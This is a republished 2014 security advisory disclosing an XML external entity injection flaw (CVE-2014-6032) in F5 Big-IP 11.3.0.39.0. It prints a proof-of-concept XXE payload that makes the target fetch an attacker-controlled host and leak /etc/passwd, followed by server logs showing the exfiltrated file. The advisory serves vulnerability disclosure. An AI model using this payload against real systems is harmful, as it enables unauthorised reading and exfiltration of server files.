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F5 Big-IP 11.3.0.39.0 XML External Entity Injection #1

F5 Big-IP 11.3.0.39.0 XML External Entity Injection #1
Posted Oct 30, 2014
Authored by Oliver Gruskovnjak | Site portcullis-security.com

F5 Big-IP version 11.3.0.39.0 suffers from an XML external entity injection vulnerability.

tags | exploit, xxe
advisories | CVE-2014-6032
MD5 | 9f5e815449dbbfe8d1b5de6b4c756b6c

F5 Big-IP 11.3.0.39.0 XML External Entity Injection #1

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Vulnerability title: XML External Entity Injection in F5 Networks Big-IP
CVE: CVE-2014-6032
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak

Details:

F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/passwd"> %remote;
%int;
%trick;]>
<deal type="request" id="1"><card type="query" id="1"/></deal>


On the attacking Server the file can be read from web server logs:


10.1.10.10 - - [20/Aug/2014:00:17:44 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:17:44] "GET /?p=root:x:0:0:root:/root:/bin/bash%0Abin:x:1:1:bin:/bin:/sbin/nologin%0Adaemon:x:2:2:daemon:/sbin:/sbin/nologin%0Aadm:x:3:4:adm:/var/adm:/sbin/nologin%0Alp:x:4:7:lp:/var/spool/lpd:/sbin/nologin%0Amail:x:8:12:mail:/var/spool/mail:/sbin/nologin%0Auucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin%0Aoperator:x:11:0:operator:/root:/sbin/nologin%0Anobody:x:99:99:Nobody:/:/sbin/nologin%0Atmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin%0Aadmin:x:0:500:Admin%20User:/home/admin:/bin/false%0Aapache:x:48:48:Apache:/usr/local/www:/bin/bash%0Amysql:x:98:98:MySQL%20server:/var/lib/mysql:/sbin/nologin%0Avcsa:x:69:69:virtual%20console%20memory%20owner:/dev:/sbin/nologin%0Aoprofile:x:16:16:Special%20user%20account%20to%20be%20used%20by%20OProfile:/:/sbin/nologin%0Asshd:x:74:74:Privilege-separated%20SSH:/var/empty/sshd:/sbin/nologin%0Asyscheck:x:976:10::/:/sbin/nologin%0Arpc:x:32:32:Portmapper%20RPC%20user:/:/sbin/nologin%0Af5_remoteuser:x:499:499:f
5%20remote%20user%20account:/home/f5_remoteuser:/sbin/nologin%0Apcap:x:77:77::/var/arpwatch:/sbin/nologin%0Atomcat:x:91:91:Apache%20Tomcat:/usr/share/tomcat:/sbin/nologin%0Antp:x:38:38::/etc/ntp:/sbin/nologin%0Anamed:x:25:25:Named:/var/named:/bin/false%0A HTTP/1.1" 200 - 0.0013



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6032/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.


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